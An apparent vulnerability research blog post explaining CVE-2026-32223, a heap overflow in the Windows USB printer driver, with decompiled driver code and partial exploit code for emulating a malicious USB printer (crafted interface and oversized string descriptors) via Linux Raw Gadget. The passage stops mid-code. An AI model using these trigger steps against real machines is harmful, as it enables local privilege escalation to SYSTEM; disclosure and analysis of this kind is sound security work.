오늘 닫기

Go to Top

Go to Top

취약점 연구

취약점 연구

취약점 연구

Plug me If you can : Exploiting USB Printer Drivers in Windows

Plug me If you can : Exploiting USB Printer Drivers in Windows

Plug me If you can : Exploiting USB Printer Drivers in Windows

엔키화이트햇

엔키화이트햇

Content

Content

Content

Demo

1. Introduction

Windows loads the appropriate kernel driver by interpreting USB Descriptor when a USB device is connected. If the data sent by the device is not properly validated, this can lead to kernel-level vulnerabilities.

Local Privilege Escalation (LPE) via USB is possible in environments where physical access is available.

In Active Directory environments, attackers can steal machine account credentials with SYSTEM integrity on a workstation and leverage them for lateral movement within the domain. Additionally, they can bypass some restrictions imposed by limited user environments in kiosk or POS devices, and similar conditions apply to public PCs and conference room devices.

In this article, we discuss Windows USB driver vulnerabilities and demonstrate how an attacker can achieve SYSTEM integrity using a malformed USB device and a userland program. We share the full process, from vulnerability discovery to root cause analysis and exploit development.

We are security researchers at ENKI WhiteHat and Windows bug hunters, Dongjun Kim and Jongseong Kim. We previously shared our research on Windows vulnerabilities in a prior post [link].

2. Background

2.1 What does ACE mean?

If you are interested in Windows vulnerabilities, you may know that they are disclosed by the Microsoft Security Response Center via Patch Tuesday.

To the best of our knowledge, starting in 2024, the Microsoft Security Response Center has begun disclosing root cause information for vulnerabilities, including CWE classifications.

When reviewing CVE information, you may occasionally come across statements like the following.

According to the CVSS metric, the attack vector is local (AV:L). Why does the CVE title indicate that this is a remote code execution?

The word Remote in the title refers to the location of the attacker. This type of exploit is sometimes referred to as Arbitrary Code Execution (ACE). The attack itself is carried out locally. This means an attacker or victim needs to execute code from the local machine to exploit the vulnerability.

Then, what is Arbitrary Code Execution (ACE)? ACE refers to a vulnerability that can occur when an attacker's code is executed on a victim's local machine. By the way, what is the difference between this and general types of vulnerabilities?

In this case, the vulnerability can be triggered when a specially crafted device is connected to a victim's local machine.

The vulnerability we present is also an ACE vulnerability.

2.2 USB Stack in Windows

How does windows implement USB specification to support commonly used USB devices? Windows has a wide and sophisticated USB stack structure.

First, when we connect a USB device to a Windows PC, the PCI bus driver finds newly connected devices by checking PCI slots. At this time, the PCI bus driver finds the USB host controller and reports it to the Windows PnP manager to create a Physical Device Object (PDO).

The PnP manager recognizes that this device is a USB host controller and loads the appropriate driver. If the newly connected USB device uses the USB 3.0 specification, it creates a Functional Device Object (FDO) and loads usbxhci.sys from C:\Windows\System32\drivers.

After the USB host controller driver is loaded, it creates a root hub within the controller. This root hub plays a bus driver role and starts the USB enumeration stage. In the USB enumeration stage, it allocates a unique address to the USB device and gets device information by receiving descriptors from the USB device. The PnP manager reads this information and determines which additional drivers should be loaded.

For instance, if descriptors related to a keyboard are delivered to the PnP manager, it loads the kbdclass.sys driver for the USB device.

From this, we can see that the USB stack has a very sophisticated structure.

https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/driver-stacks

2.3 USB Enumeration

Wait a moment. What is the USB enumeration stage? The USB enumeration stage is an initialization process that identifies what the device is, allocates a unique address, and loads the appropriate driver to enable communication between the host and the USB device when the device is newly connected to a port, as briefly mentioned earlier.

To briefly explain the steps of USB enumeration,

  1. When a USB device is newly connected, the USB hub detects a voltage change and alerts the host.

  2. The host sends a reset signal to the bus, and the USB device starts communication using address 0.

  3. The host checks the maximum packet size of the USB device by requesting the device descriptor at address 0.

  4. The host allocates a unique address between 1 and 127 to the USB device, and the device starts responding using the assigned address.

  5. The host requests descriptors again via the assigned address and checks the manufacturer ID, power consumption, number of interfaces, and endpoint types.

  6. The PnP manager loads the appropriate drivers and changes the USB device’s state to Configured by sending commands to the device.

This USB enumeration stage is not only executed within one driver but also across multiple drivers.

From a security perspective, the USB enumeration stage is a very important process. If a vulnerability exists in this stage and is successfully exploited by an attacker, the PC can be fully controlled simply by connecting a specially crafted USB device.

2.4 Plug-and-Play

We briefly explain what Plug-and-Play (PnP) is before moving on from the Background part. PnP is a part of the Windows architecture that automatically detects changes in system hardware configuration. PnP is a useful technology that allows new devices to be used immediately without a system reboot by working with the user-mode/kernel PnP manager, I/O manager, bus drivers, function drivers, etc.

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/pnp-components

3. CVE-2026-32223

3.1. Vulnerbility Root Cause

Now that we have some background on USB devices, we will explain the vulnerability we discovered, CVE-2026-32223.

CVE-2026-32223 is a heap-based buffer overflow vulnerability that occurs in the Windows USB print driver (usbprint.sys). This vulnerability is caused by improper validation of device configuration, and it is triggered when usbprint.sys uses a malformed device configuration.

usbprint.sys processes IRP_MJ_DEVICE_CONTROL requests in the USBPRINT_ProcessIOCTL function. The vulnerability occurs in the Make1284IdStringFromUsbStrings function, which is invoked by IOCTL 0x220064. For this function to be executed, v8[1064] must be 0, and v8[1065] must not be 0.

__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            if ( Command >= 0 )
            {
              a2->IoStatus.Information = v63;
              a2->IoStatus.Status = Command;
              goto LABEL_156;
            }
          }
        }
        WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Failure in GET_MFG_MDL_ID");
        break;
        ...
        ...
__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            if ( Command >= 0 )
            {
              a2->IoStatus.Information = v63;
              a2->IoStatus.Status = Command;
              goto LABEL_156;
            }
          }
        }
        WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Failure in GET_MFG_MDL_ID");
        break;
        ...
        ...
__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            if ( Command >= 0 )
            {
              a2->IoStatus.Information = v63;
              a2->IoStatus.Status = Command;
              goto LABEL_156;
            }
          }
        }
        WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Failure in GET_MFG_MDL_ID");
        break;
        ...
        ...

v8 is the DeviceExtension field in the DeviceObject. A Windows device driver can define a DeviceExtension field that can optionally store additional data within the DeviceObject structure. The DeviceExtension is usually created near the DeviceObject creation routine.

Similarly, in usbprint.sys, the DeviceExtension (v8) is initialized in the USBPRINT_StartDevice function, which is the point where the device is actually started by a request from the PnP manager. In this function, the USBPRINT_ConfigureDevice function is called at [1].

__int64 __fastcall USBPRINT_StartDevice(PDEVICE_OBJECT DeviceObject)
{
  int v6; // ebx

  DeviceExtension = (char *)DeviceObject->DeviceExtension;
  ...
  ...
  v6 = USBPRINT_ConfigureDevice(DeviceObject); // [1]
__int64 __fastcall USBPRINT_StartDevice(PDEVICE_OBJECT DeviceObject)
{
  int v6; // ebx

  DeviceExtension = (char *)DeviceObject->DeviceExtension;
  ...
  ...
  v6 = USBPRINT_ConfigureDevice(DeviceObject); // [1]
__int64 __fastcall USBPRINT_StartDevice(PDEVICE_OBJECT DeviceObject)
{
  int v6; // ebx

  DeviceExtension = (char *)DeviceObject->DeviceExtension;
  ...
  ...
  v6 = USBPRINT_ConfigureDevice(DeviceObject); // [1]

In the USBPRINT_ConfigureDevice function, the USBPRINT_GETUSBConfigs function is invoked at [1], and it stores the Configuration Descriptor, which is one of the USB descriptors, in P. If the descriptor is successfully retrieved, it calls the USBPRINT_CheckConfigs function at [2], using P as the second argument.

__int64 __fastcall USBPRINT_ConfigureDevice(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp
  int USBConfigs; // eax
  int v5; // ebx
  PVOID P; // [rsp+30h] [rbp+8h] BYREF

  P = 0LL;
  v2 = *(_QWORD *)(a1 + 64);
  USBConfigs = USBPRINT_GetUSBConfigs(a1, a2, (unsigned __int16 **)&P); // [1]
  v5 = USBConfigs;
  if ( P )
  {
    if ( USBConfigs >= 0 )
    {
      USBPRINT_CheckConfigs(a1, P); // [2]
      v5 = USBPRINT_SelectInterface(a1, (struct _USB_CONFIGURATION_DESCRIPTOR *)P, *(_BYTE *)(v2 + 1065) != 0);
    }
    ExFreePool(P);
  }
  else
  {
    WriteDbgTraceWarning("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: ConfigureDevice, No Configuration descriptor.");
  }
  if ( v5 < 0 )
    WriteDbgTraceInfo("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: exit USBPRINT_ConfigureDevice (%x)", (unsigned int)v5);
  return (unsigned int)v5;
}
__int64 __fastcall USBPRINT_ConfigureDevice(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp
  int USBConfigs; // eax
  int v5; // ebx
  PVOID P; // [rsp+30h] [rbp+8h] BYREF

  P = 0LL;
  v2 = *(_QWORD *)(a1 + 64);
  USBConfigs = USBPRINT_GetUSBConfigs(a1, a2, (unsigned __int16 **)&P); // [1]
  v5 = USBConfigs;
  if ( P )
  {
    if ( USBConfigs >= 0 )
    {
      USBPRINT_CheckConfigs(a1, P); // [2]
      v5 = USBPRINT_SelectInterface(a1, (struct _USB_CONFIGURATION_DESCRIPTOR *)P, *(_BYTE *)(v2 + 1065) != 0);
    }
    ExFreePool(P);
  }
  else
  {
    WriteDbgTraceWarning("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: ConfigureDevice, No Configuration descriptor.");
  }
  if ( v5 < 0 )
    WriteDbgTraceInfo("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: exit USBPRINT_ConfigureDevice (%x)", (unsigned int)v5);
  return (unsigned int)v5;
}
__int64 __fastcall USBPRINT_ConfigureDevice(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp
  int USBConfigs; // eax
  int v5; // ebx
  PVOID P; // [rsp+30h] [rbp+8h] BYREF

  P = 0LL;
  v2 = *(_QWORD *)(a1 + 64);
  USBConfigs = USBPRINT_GetUSBConfigs(a1, a2, (unsigned __int16 **)&P); // [1]
  v5 = USBConfigs;
  if ( P )
  {
    if ( USBConfigs >= 0 )
    {
      USBPRINT_CheckConfigs(a1, P); // [2]
      v5 = USBPRINT_SelectInterface(a1, (struct _USB_CONFIGURATION_DESCRIPTOR *)P, *(_BYTE *)(v2 + 1065) != 0);
    }
    ExFreePool(P);
  }
  else
  {
    WriteDbgTraceWarning("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: ConfigureDevice, No Configuration descriptor.");
  }
  if ( v5 < 0 )
    WriteDbgTraceInfo("USBPRINT_ConfigureDevice", L"USBPRINT.SYS: exit USBPRINT_ConfigureDevice (%x)", (unsigned int)v5);
  return (unsigned int)v5;
}

The USBPRINT_CheckConfigs function calls the USBD_ParseConfigurationDescriptorEx function at [1] and [2] and finds descriptor arrays with matching InterfaceClass and InterfaceProtocol in the configuration descriptor. The results are stored in DeviceExtension[1064] and DeviceExtension[1065], respectively.

This means that we have to properly set the configuration descriptor to invoke IOCTL 0x220064.

bool __fastcall USBPRINT_CheckConfigs(__int64 a1, struct _USB_CONFIGURATION_DESCRIPTOR *a2)
{
  _BYTE *v2; // rdi
  bool result; // al

  v2 = *(_BYTE **)(a1 + 64);
  v2[1436] = (a2->bmAttributes & 0x60) == 96;
  v2[1065] = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 4) != 0LL; // [1]
  result = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 2) != 0LL; // [2]
  v2[1064] = result;
  return result;
}
bool __fastcall USBPRINT_CheckConfigs(__int64 a1, struct _USB_CONFIGURATION_DESCRIPTOR *a2)
{
  _BYTE *v2; // rdi
  bool result; // al

  v2 = *(_BYTE **)(a1 + 64);
  v2[1436] = (a2->bmAttributes & 0x60) == 96;
  v2[1065] = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 4) != 0LL; // [1]
  result = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 2) != 0LL; // [2]
  v2[1064] = result;
  return result;
}
bool __fastcall USBPRINT_CheckConfigs(__int64 a1, struct _USB_CONFIGURATION_DESCRIPTOR *a2)
{
  _BYTE *v2; // rdi
  bool result; // al

  v2 = *(_BYTE **)(a1 + 64);
  v2[1436] = (a2->bmAttributes & 0x60) == 96;
  v2[1065] = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 4) != 0LL; // [1]
  result = USBD_ParseConfigurationDescriptorEx(a2, a2, -1, -1, 7, -1, 2) != 0LL; // [2]
  v2[1064] = result;
  return result;
}
PUSB_INTERFACE_DESCRIPTOR USBD_ParseConfigurationDescriptorEx(
  [in] PUSB_CONFIGURATION_DESCRIPTOR ConfigurationDescriptor,
  [in] PVOID                         StartPosition,
  [in] LONG                          InterfaceNumber,
  [in] LONG                          AlternateSetting,
  [in] LONG                          InterfaceClass,
  [in] LONG                          InterfaceSubClass,
  [in] LONG                          InterfaceProtocol
);
PUSB_INTERFACE_DESCRIPTOR USBD_ParseConfigurationDescriptorEx(
  [in] PUSB_CONFIGURATION_DESCRIPTOR ConfigurationDescriptor,
  [in] PVOID                         StartPosition,
  [in] LONG                          InterfaceNumber,
  [in] LONG                          AlternateSetting,
  [in] LONG                          InterfaceClass,
  [in] LONG                          InterfaceSubClass,
  [in] LONG                          InterfaceProtocol
);
PUSB_INTERFACE_DESCRIPTOR USBD_ParseConfigurationDescriptorEx(
  [in] PUSB_CONFIGURATION_DESCRIPTOR ConfigurationDescriptor,
  [in] PVOID                         StartPosition,
  [in] LONG                          InterfaceNumber,
  [in] LONG                          AlternateSetting,
  [in] LONG                          InterfaceClass,
  [in] LONG                          InterfaceSubClass,
  [in] LONG                          InterfaceProtocol
);

Returning to the USBPRINT_ProcessIOCTL function, if we examine the arguments of the Make1284IdStringFromUsbStrings function, the first argument is the DeviceObject, the second argument is the user-provided output buffer, and the third argument is the length of the output buffer.

__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            ...
            ...
__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            ...
            ...
__int64 __fastcall USBPRINT_ProcessIOCTL(struct _DEVICE_OBJECT *a1, IRP *a2)
{
    v8 = (char *)DeviceObject->DeviceExtension;
    ...
    ...
    case 0x220064u:
        if ( !Length )
        {
          WriteDbgTraceWarning("USBPRINT_ProcessIOCTL", L"USBPRINT.SYS: Buffer too small in GET_MFG_MDL_ID");
    LABEL_43:
          Command = -1073741789;
          goto LABEL_154;
        }
        Command = -1073741668;
        if ( !v8[1064] )
        {
          if ( v8[1065] )
          {
            v63 = CurrentStackLocation->Parameters.Read.Length;
            Command = Make1284IdStringFromUsbStrings((__int64)a1, MasterIrp, &v63); // [1]
            ...
            ...

The vulnerability occurs in the Make1284IdStringFromUsbStrings function. First of all, it retrieves the device’s MFG and MDL by calling the USBPRINT_GetUsbStringDescriptor function at [1] and [2]. Then, it calculates the lengths of MFG and MDL at [3] and [4], respectively, and stores the sum of the two lengths plus 11 in v13.

If v13 is less than 0x20A, it allocates NonPaged Pool memory at [7] with the size of the output buffer. If the pool allocation succeeds, it copies a formatted string into the pool using RtlStringCbPrintfA at [8]. If the string copy succeeds, it copies the contents of the pool to the output buffer at [9].

In this process, if the size of the output buffer is smaller than the allocated pool, a heap-based buffer overflow may occur.

__int64 __fastcall Make1284IdStringFromUsbStrings(__int64 a1, _BYTE *a2, _DWORD *a3)
{
  __int64 v3; // rsi
  char *Pool2; // rbp
  unsigned __int8 *v8; // r15
  int UsbStringDescriptor; // ebx
  int v10; // eax
  __int64 v11; // rcx
  __int64 v12; // rax
  unsigned int v13; // esi
  unsigned int v14; // ebx
  char *v15; // rax
  char *v16; // rdi
  NTSTATUS v17; // eax

  v3 = *(_QWORD *)(a1 + 64);
  Pool2 = (char *)ExAllocatePool2(64LL, 261LL, 1346523989LL);  
  v8 = (unsigned __int8 *)ExAllocatePool2(64LL, 261LL, 1346523989LL);
  UsbStringDescriptor = USBPRINT_GetUsbStringDescriptor(
                          a1,
                          *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 14LL),
                          (unsigned __int8 *)Pool2,
                          261); // [1]
  v10 = USBPRINT_GetUsbStringDescriptor(a1, *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 15LL), v8, 261); // [2]
  v11 = -1LL;
  if ( UsbStringDescriptor == -1 || v10 == -1 )
  {
    WriteDbgTraceInfo(
      "Make1284IdStringFromUsbStrings",
      L"Make1284IdStringFromUsbStrings: Failed to get USB string descriptors");
    v14 = -1073741275;
  }
  else
  {
    v12 = -1LL;
    do
      ++v12;
    while ( *(_WORD *)&Pool2[2 * v12 + 2] ); // [3]
    do
      ++v11;
    while ( *(_WORD *)&v8[2 * v11 + 2] ); // [4]
    v13 = v12 + v11 + 11; // [5]
    if ( v13 <= 0x209 )
    {
      v15 = (char *)ExAllocatePool2(64LL, v13, 1346523989LL); // [7]
      v16 = v15;
      if ( v15 )
      {
        v17 = RtlStringCbPrintfA(v15, v13, "MFG:%ws;MDL:%ws;", Pool2 + 2, v8 + 2); // [8]
        v14 = v17;
        if ( v17 < 0 )
        {
          WriteDbgTraceInfo(
            "Make1284IdStringFromUsbStrings",
            L"Make1284IdStringFromUsbStrings: RtlStringCbPrintfW failed 0x%x",
            (unsigned int)v17);
        }
        else
        {
          WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v16);
          a2[1] = v13;
          *a2 = BYTE1(v13);
          memmove(a2 + 2, v16, v13); // [9]
          *a3 = v13 + 2;
        }
        ExFreePool(v16);
      }
      ...
      ...
}
__int64 __fastcall Make1284IdStringFromUsbStrings(__int64 a1, _BYTE *a2, _DWORD *a3)
{
  __int64 v3; // rsi
  char *Pool2; // rbp
  unsigned __int8 *v8; // r15
  int UsbStringDescriptor; // ebx
  int v10; // eax
  __int64 v11; // rcx
  __int64 v12; // rax
  unsigned int v13; // esi
  unsigned int v14; // ebx
  char *v15; // rax
  char *v16; // rdi
  NTSTATUS v17; // eax

  v3 = *(_QWORD *)(a1 + 64);
  Pool2 = (char *)ExAllocatePool2(64LL, 261LL, 1346523989LL);  
  v8 = (unsigned __int8 *)ExAllocatePool2(64LL, 261LL, 1346523989LL);
  UsbStringDescriptor = USBPRINT_GetUsbStringDescriptor(
                          a1,
                          *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 14LL),
                          (unsigned __int8 *)Pool2,
                          261); // [1]
  v10 = USBPRINT_GetUsbStringDescriptor(a1, *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 15LL), v8, 261); // [2]
  v11 = -1LL;
  if ( UsbStringDescriptor == -1 || v10 == -1 )
  {
    WriteDbgTraceInfo(
      "Make1284IdStringFromUsbStrings",
      L"Make1284IdStringFromUsbStrings: Failed to get USB string descriptors");
    v14 = -1073741275;
  }
  else
  {
    v12 = -1LL;
    do
      ++v12;
    while ( *(_WORD *)&Pool2[2 * v12 + 2] ); // [3]
    do
      ++v11;
    while ( *(_WORD *)&v8[2 * v11 + 2] ); // [4]
    v13 = v12 + v11 + 11; // [5]
    if ( v13 <= 0x209 )
    {
      v15 = (char *)ExAllocatePool2(64LL, v13, 1346523989LL); // [7]
      v16 = v15;
      if ( v15 )
      {
        v17 = RtlStringCbPrintfA(v15, v13, "MFG:%ws;MDL:%ws;", Pool2 + 2, v8 + 2); // [8]
        v14 = v17;
        if ( v17 < 0 )
        {
          WriteDbgTraceInfo(
            "Make1284IdStringFromUsbStrings",
            L"Make1284IdStringFromUsbStrings: RtlStringCbPrintfW failed 0x%x",
            (unsigned int)v17);
        }
        else
        {
          WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v16);
          a2[1] = v13;
          *a2 = BYTE1(v13);
          memmove(a2 + 2, v16, v13); // [9]
          *a3 = v13 + 2;
        }
        ExFreePool(v16);
      }
      ...
      ...
}
__int64 __fastcall Make1284IdStringFromUsbStrings(__int64 a1, _BYTE *a2, _DWORD *a3)
{
  __int64 v3; // rsi
  char *Pool2; // rbp
  unsigned __int8 *v8; // r15
  int UsbStringDescriptor; // ebx
  int v10; // eax
  __int64 v11; // rcx
  __int64 v12; // rax
  unsigned int v13; // esi
  unsigned int v14; // ebx
  char *v15; // rax
  char *v16; // rdi
  NTSTATUS v17; // eax

  v3 = *(_QWORD *)(a1 + 64);
  Pool2 = (char *)ExAllocatePool2(64LL, 261LL, 1346523989LL);  
  v8 = (unsigned __int8 *)ExAllocatePool2(64LL, 261LL, 1346523989LL);
  UsbStringDescriptor = USBPRINT_GetUsbStringDescriptor(
                          a1,
                          *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 14LL),
                          (unsigned __int8 *)Pool2,
                          261); // [1]
  v10 = USBPRINT_GetUsbStringDescriptor(a1, *(_BYTE *)(*(_QWORD *)(v3 + 1208) + 15LL), v8, 261); // [2]
  v11 = -1LL;
  if ( UsbStringDescriptor == -1 || v10 == -1 )
  {
    WriteDbgTraceInfo(
      "Make1284IdStringFromUsbStrings",
      L"Make1284IdStringFromUsbStrings: Failed to get USB string descriptors");
    v14 = -1073741275;
  }
  else
  {
    v12 = -1LL;
    do
      ++v12;
    while ( *(_WORD *)&Pool2[2 * v12 + 2] ); // [3]
    do
      ++v11;
    while ( *(_WORD *)&v8[2 * v11 + 2] ); // [4]
    v13 = v12 + v11 + 11; // [5]
    if ( v13 <= 0x209 )
    {
      v15 = (char *)ExAllocatePool2(64LL, v13, 1346523989LL); // [7]
      v16 = v15;
      if ( v15 )
      {
        v17 = RtlStringCbPrintfA(v15, v13, "MFG:%ws;MDL:%ws;", Pool2 + 2, v8 + 2); // [8]
        v14 = v17;
        if ( v17 < 0 )
        {
          WriteDbgTraceInfo(
            "Make1284IdStringFromUsbStrings",
            L"Make1284IdStringFromUsbStrings: RtlStringCbPrintfW failed 0x%x",
            (unsigned int)v17);
        }
        else
        {
          WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v16);
          a2[1] = v13;
          *a2 = BYTE1(v13);
          memmove(a2 + 2, v16, v13); // [9]
          *a3 = v13 + 2;
        }
        ExFreePool(v16);
      }
      ...
      ...
}

3.2. Triggering the Vulnerability

To trigger the vulnerability, a USB device with a malformed descriptor and a userland program that invokes IOCTL 0x220064 are required.

3.2.1 USB Device Emulation

To construct a malicious USB device, we used the Odroid C4 board and Armbian. The Odroid C4 supports a USB OTG port, allowing the board itself to operate as a USB device. By using Linux Raw Gadget on Armbian, we can freely construct USB descriptors at the byte level.

Raw Gadget is a low-level interface of the USB Gadget subsystem, and it allows user space to directly control USB enumeration responses through the /dev/raw-gadget device. Unlike traditional approaches based on GadgetFS or ConfigFS, it allows direct handling of each control transfer request from the host, enabling flexible construction of abnormal descriptor combinations.

3.2.2 Descriptor Structure

To satisfy the conditions of the previously analyzed USBPRINT_CheckConfigs function, we set bInterfaceClass of the interface descriptor to 0x07 (Printer) and bInterfaceProtocol to 0x04 (IPP over USB). In this case, an interface with bInterfaceProtocol = 0x02 (Bidirectional) must not be included.

With this configuration, DeviceExtension[1065] = 1 and DeviceExtension[1064] = 0 in USBPRINT_CheckConfigs, allowing us to reach the Make1284IdStringFromUsbStrings function.

struct usb_interface_descriptor usb_interface =
{
    .bLength =          USB_DT_INTERFACE_SIZE,
    .bDescriptorType =  USB_DT_INTERFACE,
    .bInterfaceNumber = 0,
    .bAlternateSetting = 0,
    .bNumEndpoints =    2,
    .bInterfaceClass =    0x07,  /* Printer */
    .bInterfaceSubClass = 0x01,  /* Printer */
    .bInterfaceProtocol = 0x04,  /* IPP over USB — NOT 0x02 */
    .iInterface =       0

struct usb_interface_descriptor usb_interface =
{
    .bLength =          USB_DT_INTERFACE_SIZE,
    .bDescriptorType =  USB_DT_INTERFACE,
    .bInterfaceNumber = 0,
    .bAlternateSetting = 0,
    .bNumEndpoints =    2,
    .bInterfaceClass =    0x07,  /* Printer */
    .bInterfaceSubClass = 0x01,  /* Printer */
    .bInterfaceProtocol = 0x04,  /* IPP over USB — NOT 0x02 */
    .iInterface =       0

struct usb_interface_descriptor usb_interface =
{
    .bLength =          USB_DT_INTERFACE_SIZE,
    .bDescriptorType =  USB_DT_INTERFACE,
    .bInterfaceNumber = 0,
    .bAlternateSetting = 0,
    .bNumEndpoints =    2,
    .bInterfaceClass =    0x07,  /* Printer */
    .bInterfaceSubClass = 0x01,  /* Printer */
    .bInterfaceProtocol = 0x04,  /* IPP over USB — NOT 0x02 */
    .iInterface =       0

3.2.3 Set Malformed String Descriptor

The overflow size is determined by the lengths of the MFG and MDL string descriptors. The string descriptors referenced by iManufacturer and iProduct in the device descriptor are directly handled in the Raw Gadget EP0 handler.

The ASCII string is converted to UTF-16LE to construct a USB string descriptor. In the Make1284IdStringFromUsbStrings function, the number of characters in this wide string is counted to compute v13 = len(MFG) + len(MDL) + 11, so increasing the length of the MFG string allows us to control the overflow size.

#define MFG_STRING "AAAAAAAAAA....(truncated)"
#define MDL_STRING "FaceDancer Printer"

int build_string_descriptor(uint8_t *buf, int buf_len, const char *str)
{
    int slen = strlen(str);
    int desc_len = 2 + slen * 2;  /* USB String Descriptor: header(2) + UTF-16LE */
    buf[0] = desc_len;
    buf[1] = USB_DT_STRING;
    for (int i = 0; i < slen; i++)
    {
        buf[2 + i * 2] = str[i];
        buf[2 + i * 2 + 1] = 0x00;
    }
    return desc_len

#define MFG_STRING "AAAAAAAAAA....(truncated)"
#define MDL_STRING "FaceDancer Printer"

int build_string_descriptor(uint8_t *buf, int buf_len, const char *str)
{
    int slen = strlen(str);
    int desc_len = 2 + slen * 2;  /* USB String Descriptor: header(2) + UTF-16LE */
    buf[0] = desc_len;
    buf[1] = USB_DT_STRING;
    for (int i = 0; i < slen; i++)
    {
        buf[2 + i * 2] = str[i];
        buf[2 + i * 2 + 1] = 0x00;
    }
    return desc_len

#define MFG_STRING "AAAAAAAAAA....(truncated)"
#define MDL_STRING "FaceDancer Printer"

int build_string_descriptor(uint8_t *buf, int buf_len, const char *str)
{
    int slen = strlen(str);
    int desc_len = 2 + slen * 2;  /* USB String Descriptor: header(2) + UTF-16LE */
    buf[0] = desc_len;
    buf[1] = USB_DT_STRING;
    for (int i = 0; i < slen; i++)
    {
        buf[2 + i * 2] = str[i];
        buf[2 + i * 2 + 1] = 0x00;
    }
    return desc_len

3.2.4 EP0 Control Transfer Handling

The point of Raw Gadget is that it directly processes every control transfer request from the host in the EP0 loop. When the host requests a string descriptor, it responds with the malformed MFG/MDL string configured above.

case USB_DT_STRING:
{
    int idx = event->ctrl.wValue & 0xFF;
    switch (idx)
    {
        case STRING_ID_MANUFACTURER:
            memcpy(&io->data[0], string_desc_mfg, string_desc_mfg_len);
            io->inner.length = string_desc_mfg_len;
            return true;
        case STRING_ID_PRODUCT:
            memcpy(&io->data[0], string_desc_product, string_desc_product_len);
            io->inner.length = string_desc_product_len;
            return true

case USB_DT_STRING:
{
    int idx = event->ctrl.wValue & 0xFF;
    switch (idx)
    {
        case STRING_ID_MANUFACTURER:
            memcpy(&io->data[0], string_desc_mfg, string_desc_mfg_len);
            io->inner.length = string_desc_mfg_len;
            return true;
        case STRING_ID_PRODUCT:
            memcpy(&io->data[0], string_desc_product, string_desc_product_len);
